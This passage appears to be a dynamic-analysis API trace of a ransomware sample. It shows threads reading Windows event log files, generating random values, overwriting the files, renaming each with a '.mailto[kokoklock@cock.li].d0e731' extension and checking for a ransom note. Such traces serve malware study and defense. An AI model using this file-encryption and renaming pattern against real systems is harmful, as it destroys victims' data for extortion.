Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0x9fc2acdb [0061.343] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0x22f3165f [0061.343] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0xffb08746 [0061.343] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0x1d26f2ab [0061.343] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0xbde16997 [0061.343] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0x45b8b47 [0061.343] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0x4c9017f8 [0061.343] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0xa2904e44 [0061.343] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0x4a631f09 [0061.343] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0xdcf635bf [0061.343] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0x8f4a6272 [0061.343] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0xc26b0fee [0061.343] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0x7105ed06 [0061.351] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b5c0 [0061.353] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.353] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b5e8 [0061.353] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.353] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b548) returned 1 [0061.353] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.353] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.353] ReadFile (in: hFile=0x5c4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x7e2fdc8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x7e2fdc8*=0x4096, lpOverlapped=0x0) returned 1 [0061.354] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.354] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.354] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0061.354] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2a0 [0061.354] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2a0) returned 1 [0061.354] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.354] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b548 [0061.354] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b200 [0061.354] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b200) returned 1 [0061.354] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0061.355] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.355] WriteFile (in: hFile=0x5c4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x7e2fdc8, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x7e2fdc8*=0x4096, lpOverlapped=0x0) returned 1 [0061.355] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.355] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.355] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b548*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7e2fe00, lpOverlapped=0x0 | out: lpBuffer=0x347b548*, lpNumberOfBytesWritten=0x7e2fe00*=0x20, lpOverlapped=0x0) returned 1 [0061.355] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b548) returned 1 [0061.355] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.355] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b5e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x7e2fe14, lpOverlapped=0x0 | out: lpBuffer=0x347b5e8*, lpNumberOfBytesWritten=0x7e2fe14*=0x8, lpOverlapped=0x0) returned 1 [0061.355] WriteFile (in: hFile=0x5c4, lpBuffer=0x7e2fe2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7e2fe14, lpOverlapped=0x0 | out: lpBuffer=0x7e2fe2c*, lpNumberOfBytesWritten=0x7e2fe14*=0x4, lpOverlapped=0x0) returned 1 [0061.355] WriteFile (in: hFile=0x5c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7e2fe14, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x7e2fe14*=0x4, lpOverlapped=0x0) returned 1 [0061.355] WriteFile (in: hFile=0x5c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x7e2fe14, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x7e2fe14*=0x6c, lpOverlapped=0x0) returned 1 [0061.356] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b340*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7e2fe14, lpOverlapped=0x0 | out: lpBuffer=0x347b340*, lpNumberOfBytesWritten=0x7e2fe14*=0x20, lpOverlapped=0x0) returned 1 [0061.356] WriteFile (in: hFile=0x5c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7e2fe14, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x7e2fe14*=0x4, lpOverlapped=0x0) returned 1 [0061.356] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b340) returned 1 [0061.356] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b5c0) returned 1 [0061.356] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b5e8) returned 1 [0061.356] CloseHandle (hObject=0x5c4) returned 1 [0061.358] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb2) returned 0x341e0b8 [0061.359] wcscpy (in: _Dest=0x341e0b8, _Source="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" [0061.359] wcscat (in: _Dest=0x341e0b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0061.359] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.359] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.359] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0b8) returned 1 [0061.359] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0061.360] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433b68 [0061.360] wcscpy (in: _Dest=0x3433b68, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.360] wcscat (in: _Dest=0x3433b68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0061.360] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0061.360] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433b68) returned 1 [0061.360] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33caac0) returned 1 [0061.360] RtlExitUserThread (Status=0x1) Thread: id = 101 os_tid = 0xb84 [0061.361] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20 [0061.361] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", dwFileAttributes=0x20) returned 1 [0061.361] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4 [0061.361] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x7eafc1c | out: lpFileSize=0x7eafc1c*=69632) returned 1 [0061.361] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.361] ReadFile (in: hFile=0x5c4, lpBuffer=0x7eafbf0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7eafbec, lpOverlapped=0x0 | out: lpBuffer=0x7eafbf0*, lpNumberOfBytesRead=0x7eafbec*=0x4, lpOverlapped=0x0) returned 1 [0061.363] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.363] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b1d8 [0061.363] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2a0 [0061.363] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b548 [0061.363] NtQuerySystemTime (in: CurrentTime=0x7eafbc8 | out: CurrentTime=0x7eafbc8*=132121176192582010) returned 0x0 [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0x341212c8 [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0x54e5bc3d [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0x38693c57 [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0x21699870 [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0xcdab58df [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0xe351cff [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0xd5ded29c [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0x16eab425 [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0x3117246a [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0xf9f6c4cd [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0xdefd7b91 [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0x6a251580 [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0xc803169e [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0x2ebc5d25 [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0x40637564 [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0xbfea5f76 [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0xdeaf8510 [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0xa7d298f0 [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0x4d498038 [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0xe165ec0 [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0x81346b9d [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0x3ae5bc82 [0061.363] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0xd2456182 [0061.364] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0xbfe162db [0061.364] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0xaa992641 [0061.364] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0x635ca483 [0061.364] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0x560cbb0b [0061.364] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0x9c1e03ca [0061.364] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0xf90bde07 [0061.364] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0xe3617a1f [0061.364] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0xbbd92426 [0061.364] RtlRandom (in: Seed=0x7eafbd4 | out: Seed=0x7eafbd4) returned 0xe7aa2de3 [0061.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b5c0 [0061.374] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0061.374] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b5e8 [0061.374] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0061.374] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b1d8) returned 1 [0061.374] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.374] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.374] ReadFile (in: hFile=0x5c4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x7eafba0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x7eafba0*=0x4096, lpOverlapped=0x0) returned 1 [0061.375] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.375] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.375] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.375] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b110 [0061.375] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b110) returned 1 [0061.375] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.376] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b110 [0061.376] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b138 [0061.376] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b138) returned 1 [0061.376] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.376] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.376] WriteFile (in: hFile=0x5c4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x7eafba0, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x7eafba0*=0x4096, lpOverlapped=0x0) returned 1 [0061.376] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.376] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.376] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b110*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7eafbd8, lpOverlapped=0x0 | out: lpBuffer=0x347b110*, lpNumberOfBytesWritten=0x7eafbd8*=0x20, lpOverlapped=0x0) returned 1 [0061.376] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b110) returned 1 [0061.376] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.376] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b5e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x7eafbec, lpOverlapped=0x0 | out: lpBuffer=0x347b5e8*, lpNumberOfBytesWritten=0x7eafbec*=0x8, lpOverlapped=0x0) returned 1 [0061.376] WriteFile (in: hFile=0x5c4, lpBuffer=0x7eafc04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7eafbec, lpOverlapped=0x0 | out: lpBuffer=0x7eafc04*, lpNumberOfBytesWritten=0x7eafbec*=0x4, lpOverlapped=0x0) returned 1 [0061.377] WriteFile (in: hFile=0x5c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7eafbec, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x7eafbec*=0x4, lpOverlapped=0x0) returned 1 [0061.377] WriteFile (in: hFile=0x5c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x7eafbec, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x7eafbec*=0x6c, lpOverlapped=0x0) returned 1 [0061.377] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7eafbec, lpOverlapped=0x0 | out: lpBuffer=0x347b2a0*, lpNumberOfBytesWritten=0x7eafbec*=0x20, lpOverlapped=0x0) returned 1 [0061.377] WriteFile (in: hFile=0x5c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7eafbec, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x7eafbec*=0x4, lpOverlapped=0x0) returned 1 [0061.377] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2a0) returned 1 [0061.377] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b5c0) returned 1 [0061.377] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b5e8) returned 1 [0061.377] CloseHandle (hObject=0x5c4) returned 1 [0061.379] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x341e0b8 [0061.379] wcscpy (in: _Dest=0x341e0b8, _Source="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" [0061.379] wcscat (in: _Dest=0x341e0b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0061.379] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.380] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.380] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0b8) returned 1 [0061.380] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", dwFileAttributes=0x20) returned 0 [0061.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433ce8 [0061.380] wcscpy (in: _Dest=0x3433ce8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.381] wcscat (in: _Dest=0x3433ce8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0061.381] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0061.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ce8) returned 1 [0061.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd070) returned 1 [0061.381] RtlExitUserThread (Status=0x1) Thread: id = 102 os_tid = 0x1004 [0061.382] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20 [0061.382] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0061.382] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4 [0061.383] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x7f2f864 | out: lpFileSize=0x7f2f864*=69632) returned 1 [0061.383] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.383] ReadFile (in: hFile=0x5c4, lpBuffer=0x7f2f838, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7f2f834, lpOverlapped=0x0 | out: lpBuffer=0x7f2f838*, lpNumberOfBytesRead=0x7f2f834*=0x4, lpOverlapped=0x0) returned 1 [0061.384] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.384] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b1d8 [0061.384] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2a0 [0061.384] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b5c0 [0061.384] NtQuerySystemTime (in: CurrentTime=0x7f2f810 | out: CurrentTime=0x7f2f810*=132121176192739016) returned 0x0 [0061.384] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0xeb511858 [0061.384] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0xdca2cd21 [0061.384] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x6401d356 [0061.384] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x908b3f49 [0061.384] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0xc180aaf5 [0061.384] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0xa654c7d3 [0061.384] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x3c6a26f [0061.384] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0xdc8fee93 [0061.384] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x653d0848 [0061.384] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0xaf375bdc [0061.384] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x8fe832a3 [0061.384] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x5cc64804 [0061.384] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x8018607 [0061.384] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x7a2d18d8 [0061.384] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x7ae3fc41 [0061.384] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0xe1388783 [0061.384] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x524361c9 [0061.384] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0xfdab3130 [0061.385] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0xa3db66d3 [0061.385] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x890bb147 [0061.385] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x809e7223 [0061.385] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0xa7e908b5 [0061.385] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x7449059b [0061.385] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x4b132ac1 [0061.385] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x68a8a4af [0061.385] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x3fc91d46 [0061.385] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x30ae165c [0061.385] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x7d01b58a [0061.385] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0xf87d7857 [0061.385] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x5785a49a [0061.385] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0xb336d21e [0061.385] RtlRandom (in: Seed=0x7f2f81c | out: Seed=0x7f2f81c) returned 0x63a0b186 [0061.393] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b5e8 [0061.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0061.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b110 [0061.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, 